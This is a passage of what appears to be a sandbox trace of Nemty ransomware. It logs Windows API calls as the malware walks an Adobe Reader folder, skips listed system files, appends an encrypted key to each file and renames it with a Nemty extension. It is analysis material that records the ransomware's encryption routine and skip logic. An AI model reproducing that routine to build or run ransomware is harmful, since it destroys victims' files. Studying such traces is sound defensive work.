(HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.774] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="noDgMHEFlr+2mzzTwY9rwLrc+EOyWzCNtNQQgXuEFQf1x9A91MKd2qeobxJaLTmC\r\nxIa1/zZsCQcW5EIqwYqZjW6lVgzvUeFuLw3VqHp/HkiZpR9K5vVhK5Itw/4VYKcZ\r\nA+UVx5lXTSWUapD3SEEd/RqqjCNV4iH2A2EeZPp/p/El48lYL8Aj0Bh6F0HPTyBb\r\ntN088gIWLF6JQNQZQu0r3zzl8swjRPqMhbYC+q9RhDJ1SNFvoVWdekbCTZ3Q2msx\r\n/yAvM3vMb/Mc7M8BLlbw/pH3DnFccfWJYgTUhQ9lzqzZxG8ui+6oRTl0MOBf1zjU\r\n2J0mqUJGjziER1n1t4Woow==\r\n", pcchString=0x653e5dc) returned 1 [0178.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Spelling.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\spelling.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.775] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0178.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0178.775] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.775] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0178.777] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.778] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0178.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.778] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0178.778] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.778] CloseHandle (hObject=0x2e8) returned 1 [0178.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.778] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Spelling.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\spelling.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Spelling.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\spelling.ita._nemty_kgobjgd_")) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.779] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.ITA", cAlternateFileName="")) returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2=".") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="..") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="...") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="windows") returned -1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="rsa") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="NTDETECT.COM") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="ntldr") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="MSDOS.SYS") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="IO.SYS") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="boot.ini") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="boot.ini") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="ntuser.dat") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="desktop.ini") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="CONFIG.SYS") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="RECYCLER") returned 1 [0178.779] lstrcmpiW (lpString1="updater.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.780] lstrcmpiW (lpString1="updater.ITA", lpString2="bootmgr") returned 1 [0178.780] lstrcmpiW (lpString1="updater.ITA", lpString2="programdata") returned 1 [0178.780] lstrcmpiW (lpString1="updater.ITA", lpString2="appdata") returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.780] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ITA", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.780] Sleep (dwMilliseconds=0x5) [0178.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e36b390, dwHighDateTime=0x1d561e8)) [0178.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e36b390, dwHighDateTime=0x1d561e8)) [0178.789] GetLastError () returned 0x0 [0178.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.789] GetLastError () returned 0x0 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.790] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.790] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.790] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.790] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="s0pZikQ85QDzvEW9sLb3R18dMVz4vIGjyKKYCOkaNgXX/nsBAN4qQcyu0C52PvDj\r\n7A0KnSPuuid1Xnjju/Ll7jlAmK/D3JflDhar7bmjP3gVkruKoXE27pfH6h5s4Nur\r\nWPrdbDDwk3XEBtVuHBUPhj3VGmWel5Nokt1JWSFrmIaUGiVGvZHGMshNdEbJ8QS5\r\nhtjvAelrpKNyVywZKqtY6yWStgLzzUQsdryV6dOn857KPsg214UsL4WUCUX+80Eb\r\ns3qw/PBbMFYQjJGIxX+NTqBfhfKI4nS3eexf5tjYuFJZ1hjtkDFw8EQ3lsVfvtgW\r\npEQjsT1MDrSyxiaqgvnteQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\updater.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\updater.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.790] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0178.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0178.790] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.790] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0178.793] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.793] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0178.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.793] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0178.793] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.793] CloseHandle (hObject=0x2e8) returned 1 [0178.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.793] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\updater.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\updater.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\updater.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\updater.ita._nemty_kgobjgd_")) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.794] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82a99780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.ITA", cAlternateFileName="")) returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2=".") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="..") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="...") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="windows") returned -1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="rsa") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="NTDETECT.COM") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="ntldr") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="MSDOS.SYS") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="IO.SYS") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="boot.ini") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="boot.ini") returned 1 [0178.794] lstrcmpiW (lpString1="Weblink.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="ntuser.dat") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="desktop.ini") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="CONFIG.SYS") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="RECYCLER") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="bootmgr") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="programdata") returned 1 [0178.795] lstrcmpiW (lpString1="Weblink.ITA", lpString2="appdata") returned 1 [0178.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.ITA", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.795] Sleep (dwMilliseconds=0x5) [0178.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e3914f0, dwHighDateTime=0x1d561e8)) [0178.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e3914f0, dwHighDateTime=0x1d561e8)) [0178.805] GetLastError () returned 0x0 [0178.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.805] GetLastError () returned 0x0 [0178.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: 